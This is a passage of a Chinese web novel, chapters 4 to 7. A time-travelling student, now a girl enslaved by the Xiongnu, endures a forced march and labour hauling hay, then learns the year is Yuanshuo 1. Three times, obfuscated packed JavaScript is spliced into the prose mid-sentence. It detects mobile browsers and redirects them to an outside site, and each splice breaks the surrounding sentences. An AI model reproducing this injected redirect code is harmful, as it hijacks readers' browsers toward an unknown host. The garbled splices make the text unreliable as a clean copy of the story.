没过一会儿,匈奴人骑上马背,马首向北,冲灌木丛中的汉人甩甩鞭子,示意他们该继续往前走了,另有人骑马传入灌木丛,迫使这些不太想要继续前行的汉人走出灌木丛。 人们在草地上重新聚拢在一起,往北前行,好在他们刚才歇息了一会儿,吃了些东西,多少有了些体力。 昏暗的光线在地面勾勒出一条条缓慢移动的疲惫人影,挨挨挤挤的黑色人影漫过草原的缓坡,随着夕阳的余晖被地平线一点点吞没,这些人的影子也一点点越发佝偻下去。 没走多远,野草和野菜提供的一点体力很快在行路中消耗干净,有些人疲惫中脚下打滑、跌跌撞撞,他们身边的人或多或少会搀扶一下,并没有发生庄翎偶然想过的踩踏事故。 夜幕缓缓降下,行走的人们看不清彼此的面孔,直到骑在马背上的匈奴人确定自己看不清汉人的发髻,也确定他们完全消耗掉了这些汉人的体力,也无法看清周围的环境。骑兵千夫长这才呼哨一声,匈奴骑兵闻声驱赶马匹,一个追一个,首尾相连,围着汉人跑圈,然后这个圈子不断缩小,迫使他们不停相互靠近。 人们手忙脚乱地往中间挤去,挤压之中避免不得碰撞推搡,谁打了谁,谁踩了谁的鞋子,都没办法。 相继有人跌倒在地坐下来,骑在马背上的匈奴人见人们靠近得差不多了,停止缩圈,他们一边呵斥,一边用鞭子向下点,示意人们坐下来。 大家陆陆续续都坐下来。 庄翎和秋一起坐下,她们刚才一直紧紧拉着手,在拥挤之中没有被分开。秋在庄翎的左手边,她右手边是今天一直走在自己前面的带小孩儿的年轻女人,她刚才一直将孩子半护在怀抱里,母子二人紧紧相靠,现在也好好的靠坐在一起,年轻女人让孩子在自己和庄翎之间。 那孩子已经昏昏欲睡了,坐在那里半闭着眼睛,一下下点头。 庄翎伸手拍了拍那女子的手臂,夜色里女子抬头看向庄翎,她知道自己身边的是个十来岁的女孩儿,其实一路上也是看庄翎斯文安静,她才一直走在这女孩儿旁边的。 庄翎从袖子里摸出两片蒲公英叶子,塞到对方手里。掌心的触感是一些干枯的叶子,这并不像充饥的食物,女子有些莫名。 庄翎指了指她怀里的小孩儿的后背,画了一个鞭伤的形状,蒲公英可以消肿止痛。 女子闻了闻手上干叶子,轻轻咬了一口。 认出是蒲公英叶子,也是野菜的一种,没有毒,她将蒲公英干草叶嚼碎,敷在已经睡着的小孩儿背后的鞭伤上。 孩子母亲低声对庄翎说:“谢谢。” 庄翎闻声微微点头,也就学会了“谢谢”这个词。 夜幕里,坐着的人们慢慢躺下来,地面干草浸着霜露,微微潮湿,人与人在拥挤之中相互依偎,倒也能感受到几分暖意。 勉勉强强也还可以歇息吧。 疲惫之中,人们相继入睡,有人打起鼾来。庄翎躺在地上,秋紧紧抱着她的一条胳膊,另一边是个小孩子挤在自己和孩子母亲之间,上下又都是同行人疲惫的呼吸声。 她看向人群外围,匈奴人已经下了马,他们只留了几十个人在汉人附近守卫,其他的人远远点了一堆火,或是坐着或是躺下休息,他们的马匹也在附近趴伏。 头顶是星空,两千年前的夜空格外晴朗清透,庄翎从未见过这么多的星星挂在一片天空上,一个挨着一个,到处都是,一闪一闪,像是钻石一样。身体很累,却睡不着,到了这时候,她才有空去想自己的事儿。 穿越到了大约两千年前,她从一个现代女大学生,变成了一个被匈奴人从汉朝边境抓走的十三四岁小女孩儿,被他们当做奴隶,驱往部落。 语言不通,没有办法和这里的人沟通,无法确定现在具体是哪一年,现在的皇帝是谁。 没有原主的记忆,不知道原主是什么人,她现在又是什么身份,又是怎样被这些胡人骑兵抓走的。 还有,这个女孩子,她还有亲人吗? 她现在还活着吗?是否也如自己一般,重新生活在另一个世界上。 北斗七星挂在天上,遥遥闪耀,庄翎闭上眼睛,暗暗为对方祈祷,希望这个女孩子能在一个没有战乱的世界继续生活下去,平安且幸福。 而她自己,既来之则安之,尽管有些难,她也会好好对待这次来之不易的新生命。 庄翎睁开眼睛,四野荒草莽莽,夜风从这些躺着的人身上刮过,一如从衰草上刮过,人鼾马哼声此起彼伏,寒露无声降落,衣衫渐渐变得潮湿。 不知何时,秋已经睡去了,靠在她手臂旁轻轻打鼾,不远处的匈奴士兵,除了一二值夜者,余者也都靠着马匹蜷缩睡去。 远处的火焰熄灭,只有零星火星在灰烬中一闪一闪,所剩无几。 夜深了,狼的吼叫声在远方响起,一声一声,穿透草原的夜幕。 匈奴守夜的士兵在草地上坐着,一边喝酒一边嚼肉,看上去没有过多的警惕,这些人习惯草原上的一切景物。 庄翎不知道自己是什么时候睡着的。 第二天早晨醒来,没有所谓的早饭,匈奴人驱赶他们继续往北走。 人们迈着沉重的步伐北行,长时间行走,庄翎脚掌疼痛,小腿肿了一圈,秋也好不了多少,两个人互相搀扶着向前走,同行的汉人中有许多人也是这般相互搀扶前行,沉默之中,所有人都能感受到一阵阵的绝望。 那个挨过鞭打的小孩儿早走不动了,他不敢哭,有时候他母亲背着他走了一段,有时候他自己走一段路,其实不论是他年轻瘦弱的母亲,还是这个年纪太过幼小的孩子,都只是勉强前行罢了。 走着走着,又过了一两天,孩子的母亲已经用尽了体力,再也背不动这个孩子了,这孩子自己也走不动了,母子二人,相向流泪,孩子哭得极其难过。 匈奴人没说可以停下,两个人却站在行进的队伍里互相看着彼此,不知是割舍还是告别,谁也不走。 也许不知几时,匈奴人的鞭子就要甩过来了。 恻然之中,大家又为这一对母子担心。 汉人队伍中一个衣衫褴褛的瘦高男子走到二人身旁,一言不发,从地上提起那个小孩儿,放在自己的背后,跟随大家默默往前走去。 孩子母亲走在对方身旁,一个劲儿地说:“谢谢,谢谢你!” 那个男子并不算强壮,他长得高,却很瘦,长得一副营养不良的样子,胸骨高凸,粗手粗脚,背着孩子,步履之间他身形微微摇晃。 明显他们不认识彼此,只是陌生人。 他为什么要在这条漫长而痛苦的道路上背上一个不认识的孩子? 匈奴人的鞭子就在一旁舞动,大家都清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494273|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往后再不会有任何好日子过,帮助一个人又能怎么样呢?当真无心无法去期盼任何报偿。 看见这一幕的人都知道,这个男子这样做,只是善良而已。 庄翎目光久久地停留在这一对母子还有这个瘦高男子身上,她习惯了现代人小心谨慎的善良和冷漠,已经很久没见过这样不计回报没有顾虑的善意了。 她想着这些,内心像是被注入了新的力量。 她扶了一把身旁摇摇晃晃的秋,对她说:“坚持一下。” 从清晨到黄昏,那个孩子身下又换过两个陌生人的肩膀,有时候孩子自己也走一小段路,孩子母亲有时也背他一段路。 大家就这样往前走,每天走五六十里路程。 一天之中,总有那么一两回,匈奴人让汉人们停下来,找些野草野菜吃一吃,或是喝一点水。 不知不觉,人们都这样走了好几天。一天天过去,越是往北,秋意越深,北风越硬,天气越来越冷。 第三天,那个被人们轮流背在背后的小孩子身上发起热来,背着这孩子的人将小孩儿抱手里,向孩子母亲展示这孩子红红的额头、红红的脸颊。 说道:“要是不行,就将孩子留在这里吧,她没有命受以后的苦,未尝不是一件好事。” 几天时间里,大家也都知道这个孩子是个小女孩儿,一个被匈奴人抓来的奴隶,年龄这样小,还是个女孩儿,谁也不知道这孩子以后能活到哪一天,更无法想象这孩子未来会是何等悲苦。这些几天中,看见这孩子的人们,虽然不说,目光中总是笼罩着一层悲哀。 孩子母亲也不否认对方的话,只是,她看着对方手里那个小小的孩子,乖乖闭着眼睛,瘦了一圈的小脸红彤彤的,身体软绵绵的,好像任由命运怎样安排都好。 多可怜,多可爱的孩子啊! 一个母亲,她怎么舍得? 孩子母亲劈手夺回高烧昏迷的孩子,将没有意识的孩子紧紧抱在怀里。看起来,就算这孩子死掉,她也决不肯放手。 行路几日,庄翎的腿僵硬似木棍,脚走出血来,她迈着疼痛的步伐,走到孩子母亲身边,从袖中取出白色手帕,打开来,从自己这几天陆续捡来的草药中挑选一些拿在手里,拍了拍孩子的母亲,见对方抬头,指了指她怀里的孩子,将草药递过去。 孩子母亲半信半疑地从庄翎手中接过草药,看着冷静的庄翎,心想这女孩儿也许是个巫医,只是……她这么小的年纪真的是有医术的巫医吗? 也是死马当活马医,这位母亲将草药塞到嘴里嚼碎,吐出来喂到昏睡的孩子嘴巴里。 在接下来的路程里,庄翎也会留心地面,从差不多衰败的野草中捡拾摘取一些能治疗风寒的药材,比如麻黄、柴胡、香薷、葛根等等。 没办法配出一整副汤药,她也只是恰好认识几味治疗感冒的草药而已。 庄翎没有说自己真不会配药的事情。 好在,这孩子在服药第二天也慢慢退烧,渐渐也恢复些精神和力气。 眼看孩子渐渐好转,她提起的心,悄悄放下来一些。 行路的第六天,他们走在草地上,望见了匈奴人的毡帐,就在不远处,一座座白色圆形毡帐点缀在草地上。 不知不觉,他们来到了匈奴人的部落。 还活着的人脚步顿了一下,被迫往前走去。 5. 第 5 章 圆形的帐子,尖锥形的屋顶,一个个就点缀在草原上。 随着人们走近,看到匈奴人的士卒和老幼行走活动在不同的毡帐之间。 一群衣衫褴褛的汉族人被驱赶走入匈奴人的部落,有听见动静的匈奴人瞥过一眼,见怪不怪,移开目光,继续做自己的事儿,只有小孩子会多看两眼,然后笑嘻嘻骑着羊跑开。 有的匈奴孩子试探着辱骂,或是用土块丢这些汉人。 连日赶路,风里走地上眠,汉人们衣衫面目满是尘土,脏兮兮的,看上去像是乞丐。而人们走入匈奴人的部落里,心中又添加几分绝望,看起来又似消沉几分。 匈奴千夫长招手叫来个在一边玩弓箭的少年郎,说道:“那木托,叫你爷爷来。” 不一会儿,那木托和一个身穿毡袍须发花白的老人一起过来,老人腰上垂着几条麻绳,上前和千夫长打招呼:“蔑顿大人,您回来了。” 蔑顿说道:“给我数数看,现在活着的汉人还有多少个。” 老人沿着队伍一侧从头走到尾,细数里头的男女老少,一边数一边在腰间的绳子上打结。 蹒跚着走过一来回儿,老人来到蔑顿面前,摸着腰间的绳结说道:“蔑顿大人,已经数清楚了,一共是一千三百零九人,其中身高超过马背的男人有八百五十九人,身高超过马背的女人有三百二十人,身高超过车轮的少年男女有一百二十九人,另外还有幼年小童一人。” 蔑顿点头,看起来还算满意,说道:“把这些记在羊皮簿上吧。” 老人弓着腰,闻言从腰间取出一条羊皮,又取出一只小盒子,里头打开是墨汁,他舔舔手指,沾着墨汁将刚才计数的人数写在羊皮上,写完将羊皮呈给蔑顿观看。 蔑顿看过点点头,将羊皮卷收入怀中,策马往大单于穹庐走去。 他们这些汉人被剩下的匈奴骑兵继续驱赶,被赶往部落西边,越往西匈奴人就越是少,生活气息就越是淡。 匈奴人将他们赶到一个围栏门口,围栏圈成一个大圈,里面有许许多多的简陋破旧的毡帐,而围栏门口旁边有个不起眼的小毡帐。 毡帐旁边蹲着两个年轻匈奴人,这两个人正在摆弄手里的马车木轮,注意到有一群汉人过来,两个人都站起来。 驱赶汉人过来的匈奴骑兵对二人说道:“这是今年秋天的奴隶,男女老少一共有一千三百零九个,就交给你们了。” 两个匈奴人应道:“是,大人,您放心。” 这两个匈奴人拿上手边的剑,带着汉人们往营帐里走,就安排他们住在这些破旧的营帐当中,男女相互区别,每个营帐里面留个二十来个人。 秋一直没有松开庄翎的手臂,两个匈奴人只草草数过人头,根本不关心谁和谁亲昵谁和谁生疏。 两个人和二十来个被留在同一间毡帐里的女子打量着这间毡帐,毡帐内被木条木杆撑起,上面罩着一层破旧的羊毡大布,这块大布破破烂烂,有许多虫子和老鼠咬的破洞,站在其中能闻到腥膻的羊味,屋子里没有床铺,只有些干草,乱七八糟地铺在地上,这就是给她们的床铺了。 一个疲惫不已的女人先坐上去,同行的人陆陆续续坐下或是躺下,庄翎和秋也同样在干草上坐下来,过了不一会儿,人们都躺下来,没过多久,有人睡着了。 傍晚的时候,大家被匈奴人的梆子声吵醒,匈奴人在门口呼喝,叫她们出来。有几个匈奴妇人站在几座营帐前面的空地上,守着两个热气腾腾的大桶,他们被要求一个个排队领取,每个人都被分得一碗羹汤,碗是木头的,汤呈棕褐色,碗底是一些豆子和叫不出名字的块状物。 庄翎低头喝了一口,滋味难以形容,很难喝。 人们却都默默将羹汤喝下去,这是她们奔走数日之后拿到的第一碗热汤。 没过一会儿,又有匈奴人赶着许许多多的奴隶进了这座木头和毡布组成的囚笼,这些人也排队领汤,拿到汤就大口喝,有人甚至抢别人的喝。 那些匈奴人看见了,不严重他们就不管,闹得厉害就呵斥两声。 这些人也是匈奴人的奴隶,他们比初来乍到的汉人看上去对这里更熟悉,也比他们的面目更加瘦弱更加麻木冷硬。 这些人看上去大部分都是黑发黑眼的汉人,零星也夹杂着一些棕色头发或是异色头发的异邦人,这些异族人当中应该有一部分是匈奴人从仆僮国家掠过来的奴隶。 当中一定有许多月氏人。 这些人喝完羹汤就钻进各个毡帐,正是刚才汉人们被分得的毡帐,大家见了怪异,也跟在他们身后一起走向毡帐。 就见这些人走进去之后很自然地就横七竖八躺下,有人睁着眼睛,有人闭上眼睛准备睡觉。 原来方才分给她们的毡帐不是只供她们使用的,庄翎看着营帐里的“前辈”,默默数了一数,这些人大概有三十个左右,加上她们就有五六十人了。 这样一来,空间就很拥挤,几乎和她们路上在草地上睡觉一样拥挤。 其实稍微好一点,但也差不多。 天色渐渐晚了,行了好几日才能歇下的人陆陆续续也在这些人之中找个空隙躺下来。 庄翎默念一声:“饥不择食,寒不择席。”也和秋一起寻个角落躺下来。 只是,她忘了自己受过伤,后背才躺在干草上,鞭伤就一阵压痛。她暗自吸了口气,忍住痛呼,感觉秋躺在身边,相互之间有温暖传来,心里竟也有些许安慰。 总而言之,在一个封建时代,正式成为奴隶的第一天,庄翎所感受到的痛苦尚可忍受。 震耳的鼾声中,人们拥挤着睡过一夜,眨眼就到了第二天早晨。 今天的早饭除了不知名的汤羹,每个人还多分到一个米糠和菜叶做成的饼子,拳头一般大小,硬邦邦一个。 人们就着羹汤,一起吃掉饼子。 随后,换了个匈奴领队,领队的匈奴人带着汉人们走出部落,走了小半天,来到一处草甸,那里有一捆一捆扎好的干草竖着立在地上,每一捆都有两个成年人合抱大小。这些草捆一个个立在地上,横成行纵成列,远处蔓延,一望无际。 大家讶然看着这个场景。 领队的匈奴人站在所有人面前,高举手中皮鞭,嘴巴里竟然发出了生硬的汉语,他说:“你们这些汉人,将干草都背到部落里去,谁敢偷懒,让他瞧瞧我手上马鞭的厉害!” 人们走向草捆,试探着半蹲在草捆之前,另一个人将草捆推到这个人背上,前面的人两手扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494274|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住身后的草捆,就这样将沉重的草捆负在背上,按着匈奴人的指挥,向着固定方向走去。 庄翎也和别人一样,微微弯腰,任由另一个人将沉重的草捆放到自己后背上,草捆很重,她腰往下弯了一点,保持住站姿,双手绕到后面,手指扣入草捆里面去,背着草往前走去。 沉重的草捆压在脊背的鞭伤上,被抽打过的地方又是一阵阵疼痛,庄翎忍耐着,踩着地面往前走,两三个来回,额头浸出冷汗来。 其实北方的风景很美,匈奴人的领地在阴山以北的草原上,这里多是平原和丘陵,尤其是他们选的这片草场,只有小小的曲线,这曲线也是黄绿色的,地上只有草多,秋天草伏在地上,人们的视野就不再有任何阻隔,可以看得很远很远,直到地平线消失。 再那里,衰黄色的地面与碧蓝色的天空相接,天很蓝,几乎没有云,像是一片纯净的蓝色大海,飞鸟在遨游,人望到天空的时候,也像是置身海洋。 好像是上学期,同宿舍的女同学盘腿坐在宿舍中央瑜伽垫上,她穿一身豆沙色的瑜伽服,手里端着手机,在搜索旅游攻略,问正在床边桌上读书的庄翎:“放假要不要一起去旅游?” 女同学笑着说:“大草原怎么样?我们可以骑马吃烤羊腿!” 短暂的回忆已经成为了不可触及的梦想,庄翎吃力地背着草捆,一只脚踏在地上,走动间衣服下摆微动,盖住沾染灰尘的鞋子。 所有被抓来的汉人都在搬运这些草捆,匈奴人骑着马指路。 人们一模一样微微弯腰,结成一条长长的队伍往前走,只是所有人身后都多了一个大大的草捆。 匈奴人指挥他们将草捆送到部落东边牛羊圈附近,那里还有些被他们抓来的奴隶,这些人负责将搬运过来的草堆起来。 中午喝一点水,每人吃一个硬邦邦的小饼子,大家就地坐一会儿,不到半个时辰被勒令起身,继续干活。 存放草料的地方距离匈奴部落有好几里路,一整天的时间里,一个人也不过运送四五个草捆。 庄翎也看到有牛拉着车将草送到匈奴人的草圈里,不过车不多的样子。 古代生产力低下,匈奴虽然产牛羊,但他们可能没有很多车可用。 而这些被掳掠而来的男女奴隶,廉价又好用,没有了可以再抓,用起来不必心疼。 日暮落下来,这些被派去搬草的人们再次回到匈奴人部落,菜羹已经抬到空地,庄翎混在人群里,领了一碗温热的汤羹,走出人群站在毡帐旁边的空地上。 汤羹里有些黄黄绿绿的菜叶,不知道是什么东西,其实也没必要想太多。 她低头慢慢喝下去。 秋不知道什么时候过来了,在她身边坐下,拧着鼻子喝木碗里的汤羹。 她喝了半碗,对一旁的庄翎说:“姐姐,好累啊!” 秋手里端着还有半碗汤羹的木碗,靠上庄翎的肩膀,说道:“我想我爹娘了,如果能回去,我再也不淘气了。” 庄翎也想父母,但心里清楚,两个世界相隔,自己与父母诸亲大约是再也无缘相见了。 感同身受之中,不禁对身边的秋心生怜惜,她偏头看向对方,见秋领口刺着一根枯草,抬起手轻轻为她摘去。 6. 第 6 章 秋像是忽然想起了什么一样,抬头看向庄翎,着急问道:“姐姐,你后背上的伤怎么样?今天搬了好些草捆,疼不疼?” 庄翎说道:“还好,不是十分疼。” 怎没会不是十分疼?秋半信半疑,咬唇不解。庄翎拍拍她的肩膀,稍作安抚,说道:“抓紧时间休息一下吧,明天还要干活。” 从这一天起,凡是被带到匈奴的汉人,早夕被役使劳作,匈奴人每天早晨将大多数人赶去草场,强迫他们搬运过冬的草料。在这里,男女老少殊无分别,水缸一样大的草捆平等地滑过每一个汉人的脊背,在他们脊背上到达匈奴人指定的地点——匈奴部落三五里外的一处空地,草捆滑下来,又被另一双奴隶的手接过,由另外一群人将它们搬运摞叠,组成一座座山一样高的庞大草垛。 在草垛下忙碌的人们被衬托得极小。 有生之年,谁能想到会忙于这样的工程?简直是荒谬。 这些山一般的草垛,大多被安排在匈奴部落的左侧和后方,庄翎也是几日里才知道,匈奴人将大多数牛羊圈设在部落东边和北边,这两个方向有匈奴人许多个大型牛羊圈;而部落左侧,也有个羊圈,就在奴隶所住的营地之前,羊圈里有两千头羊,每天咩咩叫,汉人们睡在毡帐里入夜后偶尔也能听见羊叫声。匈奴人赶他们去不同草场,有时会从这个羊圈附近经过,人们能闻到很大的羊膻味,在刮东南风或是西南风的时候,这个味道就会飘到到奴隶们所住的毡帐中。 不过,大家住的地方也不叫营帐或是营地,匈奴人将这片关押奴隶的地方称呼为“牢”,因为在部落西方,也是部落右侧,他们就叫它右牢。因奴隶牢前有个不算小的羊圈,一些匈奴人,尤其是他们的贵族和军官,就直接将奴隶所住的地方蔑称为羊圈。 有时运完草捆,该让他们回去营地,负责驱赶他们的匈奴人就会说:“到你们回羊圈的时候了!”“往羊圈走吧!”“该喝粥了,你们!” 他们说这些话的时候,大多数时都很不耐烦,有时候又像是觉得很有意思一样地冷笑起来。 其实在一起运送草捆的第三天,庄翎就真的不觉得后背鞭伤特别疼痛了,因为从那天开始她浑身上下没有不疼的地方:背负草捆的后背疼,总是前倾半弯着的腰疼,总是抓着背后草捆的胳膊酸痛,扣着草捆的手指也疼,走路过多腿疼,脚也疼。 尤其是她的双手,这双少女的手本来尚算柔嫩,在连日搬运干草之后,掌心指腹都被磨破干裂,最难受的是指甲,甲床附近的皮肤起了一个个细小的倒刺,手指逆着抓住干草的时候被刮擦得生疼。 每次回到营地,庄翎都会将过长的倒刺用牙齿咬掉,有些时候会直接用手拔下来。 不过几日功夫,掌心长出了许多血泡,这些血泡又在劳作中全部溃破。她从衣摆撕下大约两寸宽的布料,分成两节,分别缠在两只手掌上,继续背运干草。 匈奴人的话她听不懂,这些人几乎不会和汉人奴隶沟通,除非用鞭子交流。 所有背运干草的人,没有谁可以停下来,没有谁可以偷懒。 每天夜里毡帐内都有人在哭,前两天还好,过了两天秋也开始偷偷哭泣,庄翎不知道她是想家多一点,还是因为过度的劳苦。 有的时候,庄翎会安慰秋,无非是对她说将来会好的,但好什么好呢?她自己也不知道。 大多数时候,她也只是沉默着,听着别人哭泣,听着这些人在哭泣中打起鼾来,再后来,人们打鼾或是痛叫而已。 有空的时候,庄翎会尽力学习汉话,秋偶尔教她两句,更多时候,庄翎从人们的交谈中学。 她渐渐也学会了一些现在的汉语,在休息的时候会用不熟练的汉语问一起过来的汉人:现在是什么朝代?是哪一年?有时候会有人回答她,但是话音陌生,她不确定对方说的到底是什么,她问对方会不会写字,被问的人都摇头说不会。 问过几次,庄翎就不再问这个问题,而是问有没有人认识自己?有没有人知道她叫什么名字? 同行过来匈奴的有一千三百多人,现在能经常见面的也有几百人,但没有一个人能叫出她的名字,也没有人见过她。 她问了好几天,仍不见气馁。 有人说:“知道这些有什么用?我们现在谁和谁有什么区别?” 她们做着一样的活,所有人衣衫褴褛、尘埃满面,步伐蹒跚,拖曳着双腿行走。没有贫穷、美丑、贵贱、疾病的区别。 第九天,一个瘦小的男人刚刚背上草捆,直接被后背的草捆压趴在地上,草捆滚开一旁,露出这人半副骨瘦如柴的躯体。 监工的匈奴人走过去,推开压在他身上的草捆,掀翻这人身体,蹲下试了试他的呼吸,又捏了几下这人的人中,见他真是死了,站起身来,招来两个附近干活的奴隶,指了指地上的汉人,让他们将人抬起来,丢去附近荒野。 野狼徘徊而来,走向死者的尸身。 庄翎别开头,收回视线,不忍再看。 从这一天开始,她觉得时间变得格外的漫长,又格外地快。 过了两天,傍晚回到营地休息时候,一个女子找到庄翎,她是过来匈奴路上一直走在她前面的那个带着孩子的年轻女子。现在女子牵着已经恢复健康的孩子,孩子半躲在母亲身后,母女二人虽然也有些狼狈,但看上去比大多数人好许多,尤其是她身边的小孩儿,看起来比路上健康了许多,面上非但没有变得更加瘦弱,路途中瘪下去的面颊反而重新微微鼓起。 庄翎和秋见这女子和孩子如此状态,都十分惊讶。 秋在一旁说:“你们……还活着呀?” 这话问得实在不合适,庄翎抿抿唇,在一旁问女子:“佩兰姐姐,你这些天还好么?孩子怎么样?” 庄翎看向她身边的孩子,记得孩子到匈奴的时候高烧虽然退了,却全身无力。大病初愈正是抵抗力最低的时候,假如没办法好好调养的话,凶多吉少。 孩子遇见熟悉的人,从母亲身后露出脸来,对两个人腼腆地抿抿唇,佩兰伸手摸摸孩子的头,说道:“我还好,匈奴人让我去羊圈照顾产羔的母羊,偶尔这孩子能喝一口羊奶,万幸,这孩子也能活下去了。” 秋打量了好几眼佩兰,看她果然不似大家疲劳狼狈,心里羡慕嫉妒,说道:“难怪这两天没见到你。” 得知这两个人都好,也是庄翎来到匈奴听到为数不多的好消息了,她慢慢放下心来。 心想,这些日子大家都很累,佩兰住的地方远一些,今天会过来大约不是随便散步来的,便直接问道:“佩兰,你今天过来这边,是有事情吗?” 佩兰点点头,说道:“庄姑娘,我听说你在打听一些事情,需要找个认字的人,我这两天遇见一个同样识字的人,我想他也许能帮到你。” 庄翎听见,意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494275|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又惊喜,忙问:“他人在哪里?” 佩兰说:“也在这营中,不过离这边有点儿远。” 佩兰带着两个人一起在营地毡帐之间的小路穿行,一会儿往东走,一会儿往北行。 路上佩兰对庄翎和秋说:“我是在照顾羊羔的时听一起来的同乡说这个人的,此人从前是个读书人,认识好些字,发起狂来会读诗,有时候也会偷偷写写画画。” 秋好奇问道:“他是怎么到匈奴来的?” “也是被匈奴人抓来的,十多年前匈奴人去汉朝的边境抢夺粮食和人口,也将这个人一起抓了过来。这些年,匈奴人一直让他牧羊,也是可怜。” 秋说:“你可怜他什么?我们自己不也一样?来到匈奴这几天时间里,我干完一辈子要干的活了!” 说话间,走了好一会儿,终于找到了秋说的那个会读书的牧羊人。 只见一个破毡帐外放平的朽烂木头树干上坐着一个三四十岁的瘦弱男子,他脸上胡须碎乱,乱蓬蓬的头发随意在脑后挽成一个发髻,整个人坐姿松散,半眯着眼睛,好像随时都能躺下或是睡着,手边放着一只吃过汤羹的木碗,里头一点干食都没有,只有点汤影。三人带着一个小孩儿直向他走来,这人像是没看见一样,不抬头不移动身形。 佩兰看着这个人,对庄翎说:“就是这个人了。” 庄翎点点头,当先走过去。秋和佩兰也赶紧跟上。 这人看起来很不像读过书的人,至少不像庄翎印象中的古代读书人。不过,自己现在也不像个读过大学的女生,她边走路边扑扑身上的灰尘和草屑,几步来到这人面前。 对方侧偏着头,半闭着眼。 庄翎站在对面,想了想,学着古人的样子,生疏地作揖道:“这位君子,我听人说你认得字,我有几个问题想要向您请教,不知您可愿意指点一二?” 这人还是维持着原来的姿态,谁也不搭理。 秋见了生气,说道:“你这人,我姐姐问你话呢!” 佩兰拉了一把秋,秋不再作声,仍然瞧着这人不顺眼。 庄翎想了想,也就在这人面前的地面坐下来,佩兰和秋对她这动作惊讶不已,庄翎抬头去看面前人眯缝的眼睛。 看得出来,这人没睡着,也一定听到了她刚才的话,只是不愿意交流而已。 她看着这人,认真道:“如果你可以回答我的问题,我愿意将以后几天晚上分得的晚饭送给你吃。” 那人登时睁大眼睛,目光清明,转头看向庄翎眼睛,说道:“我要一个月的份。” 庄翎说:“只能七天。” 这人不愉,又甩歪头去。 庄翎没有过多失望,只道:“最多只能七天,再多……我没办法活下去。” 话音落下,她就坐着等候,秋和佩兰也在一旁等候,不过几息功夫,那人低头来看庄翎,有些不耐烦道:“说罢,你有什么问题!” 庄翎用现在不太熟练的汉话,说出内心犹豫疑惑许久的问题,道:“现在是什么朝代?又是什么年代?”她想到自己现在还无法将这里汉语中特定名词语音和含义相对应,补了一句:“你能将这些写成文字告诉我吗?” 这人不耐烦地看了庄翎一眼,半哼不哼,到底伸出手来写字。 粗糙皲裂的指尖点在黄土地上,缓缓移动,横平竖直,画出几个端正威严的繁体隶书文字——漢,元朔 7. 第 7 章 庄翎看着对方写下的三个字,见到果然是汉朝,心中一块大石头缓缓下落,又见“元朔”两个字,心却又提了起来。 汉朝与匈奴的关系在武帝时期由相持转向敌对,汉朝开始用武力正式反抗匈奴长期的侵扰,并且试图打败这个敌人。 而元朔、元狩时期正是汉朝和匈奴交战最激烈的几年。 匈奴频繁闯入汉朝边境郡城,肆意杀人抢夺,每年都会杀死大量的汉人,抢走许许多多的财物和汉人,他们不停冲击关隘,意图攻入中原地带。 而武帝态度强硬,有战必报,从来不惧怕开战,也不怕匈奴这个强敌,匈奴同样想要征服汉朝,两个国家战火不熄。 汉朝边境的人们总被抓来匈奴……其实在汉朝和匈奴开战之前,匈奴人每逢青黄不接时候,也会去汉朝边境劫掠财物和百姓…… 其实就算不是这个年代,她也可能被匈奴人掳走。 面前的男子神态冷漠,看上去不关心庄翎为什么要问刚刚的问题,他已经被长久的奴隶生活折磨得心如死水了,对方写完那几个字手指就蹲在一旁,手指悬在一侧,像是一支暂时被挂起来的毛笔。 庄翎咬咬唇,又问:“现在是元朔哪一年?什么时候?” 面前男子再次伸手写道:元年,秋 这六个字似乎用尽了他的力气,这人写完最后一个秋字,肩膀塌下来,周身力气卸下,道:“你还有问题吗?” 庄翎说:“没有了。” 闻言,这人扔下这几个字,身子往后一仰,就躺在身后朽木旁边,翻身背对她们几人,面朝着朽木闭目假寐。 庄翎和秋、佩兰,还有一旁的小女孩儿一起回去。 回去自己住处毡帐的路上,她陷入回忆,曾经读过的史料被“元朔元年,秋”这个特殊年份唤醒: 元光二年,大行令王恢提议马邑设伏,假做投降献城,攻击匈奴大单于。计划擒贼先擒王,一举灭杀匈奴。武帝批准,很遗憾,行迹败落,行动失败。王恢坐不及时进攻,获罪,弃市而死。 元光六年,汉武帝第一次发起对匈战争,以卫青为车骑将军,带骑兵若干,主动出击攻打匈奴。卫青所部杀到匈奴祭天圣地龙城,取得胜利,此战即龙城之战。 同年秋,匈奴为报复汉朝龙城之战,大肆劫掠汉朝边境,渔阳尤为严重,匈奴人即来即去,追之不及,武帝派卫尉韩安国屯兵渔阳备战。 